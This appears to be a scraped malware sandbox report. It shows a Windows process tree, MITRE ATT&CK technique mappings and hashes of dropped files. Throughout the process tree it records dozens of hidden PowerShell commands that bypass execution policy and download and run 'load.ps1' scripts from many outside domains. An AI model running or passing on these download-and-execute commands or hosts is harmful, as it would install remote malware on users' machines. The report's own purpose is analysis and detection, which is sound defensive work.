explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')"
1⤵
PID:2660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:2360

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1044

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://beta.rumaal.co.in/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:3636

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')"
1⤵
PID:6492

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:4264

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://member.ufa6ix.com/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5940

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://m.467timebet.com/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:6428

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:7312

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://hn.betoyad.co/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:4632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://penze.yify-go-123-az-movies.com/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:11108

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://beta.rumaal.co.in/load.ps1')"
1⤵
PID:5976

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://w88.legal/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:11200

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://gurdas-maan.hindibios.in/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:11012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://news.uppscportal.in/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:10668

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://member.ufa899.co/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:4652

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://m.467timebet.com/load.ps1')"
1⤵
- System Time Discovery
PID:7804

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://penze.yify-go-123-az-movies.com/load.ps1')"
1⤵
PID:10024

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luck8com.onl/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5996

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:5488

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:8332

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://news.uppscportal.in/load.ps1')"
1⤵
PID:656

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://w88.legal/load.ps1')"
1⤵
PID:7408

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://member.ufa899.co/load.ps1')"
1⤵
PID:2596

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://member.ufa6ix.com/load.ps1')"
1⤵
PID:11088

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://hamana.cc/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:8236

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://monitor.vpslog.net/load.ps1')"
1⤵
PID:7728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ae.org/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:6620

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:6484

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://di.beckham.in/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:6720

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://monitor.vpslog.net/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5784

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://shop.anagro.in/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:7172

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ae.org/load.ps1')"
1⤵
PID:7952

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:6524

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:5944

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luck8com.onl/load.ps1')"
1⤵
PID:10332

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://forum.hazardedit.com/load.ps1')"
1⤵
PID:10400

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://forum.hazardedit.com/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:9124

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:2840

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://shop.anagro.in/load.ps1')"
1⤵
PID:8912

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://hamana.cc/load.ps1')"
1⤵
PID:8032

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://gurdas-maan.hindibios.in/load.ps1')"
1⤵
PID:7120

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://pg88z.ink/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:3512

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://m.dbcommercial.co.in/load.ps1')"
1⤵
PID:5560

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')"
1⤵
PID:7700

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:1816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://m.dbcommercial.co.in/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:8644

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:10168

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://hn.betoyad.co/load.ps1')"
1⤵
PID:784

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://pg88z.ink/load.ps1')"
1⤵
PID:7428

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')"
1⤵
PID:5492

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://di.beckham.in/load.ps1')"
1⤵
PID:8784

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:7988

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:7360

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:1224

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:9080

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:9568

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:8780

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:10552

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:9688

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:10724

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:9868

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:10644

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:4720

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:10720

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:7088

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Network Service Discovery

T1046

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122
MD5 ed30ca9187bf5593affb3dc9276309a6
SHA1 c63757897a6c43a44102b221fe8dc36355e99359
SHA512 1df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810
TLSH
T1C051DA313275A1E4C91A3F47192819C023BF8355FA98AF5CB65C521EE92740B9B222F3
MD5 SHA1 SHA512 TLSH

Submit Download

iconcache_idx.db

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db
Size 28KB
SHA256 5c56c2c72eebc9cf22696e6cbe1bf13a2d2ffa3241137de8ff569232f376ba9a
MD5 ec5e987d3db270b4eebeb955554d5cf3
SHA1 db9b6b60cc5fa329e82bb2eeb0baeaa60e94af1e
SHA512 fa0681098d39134394f50218d56c1ee9cfc724d171a96e5cd9f597ccb7406bbd827c0a4967c1111cdf0e35d2401a023cc4bec018de41f6e71b04146719e06aae
SSDEEP 96:3VQDPxOZezCkHwtGGOi0W+ihtFEJB8ma9UDagGX5:3VYkZezCNPdtFe1auDagu5
TLSH
T14AD2D826F849DA41DE492C329FEBE6EC22317E16DD5B031374C4BB7F09BB8C04918489
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 54KB
SHA256 36a7a94b54ef0bc1847dbda8f607f24a150c7be5b50428714dfb71268d61f36f
MD5 e0cae98bdfac911c62febec02ed1f66d
SHA1 b05e54e194c017be3d37e6860003b17a23a28770
SHA512 782f29fa3ea53dfe2e9c56e8ff3d34a3a0c2b09302767c6670b2a1fc43e1fec1b08e2b8ebc3ce9d2ce93b12124402a3717aad96dc1b1b06f8321c754a741aad6
SSDEEP 1536:vUsBNhfkR+jH0Mv15iFHzdyyhl3Oi9flJdiNuhETYoxUpBa5EVi3j39MVvjp2KLI:vUsBNhfkR+jH0Mv1gFHzdfhEi9flJdiH
TLSH
T1B7433F93E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FBBE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download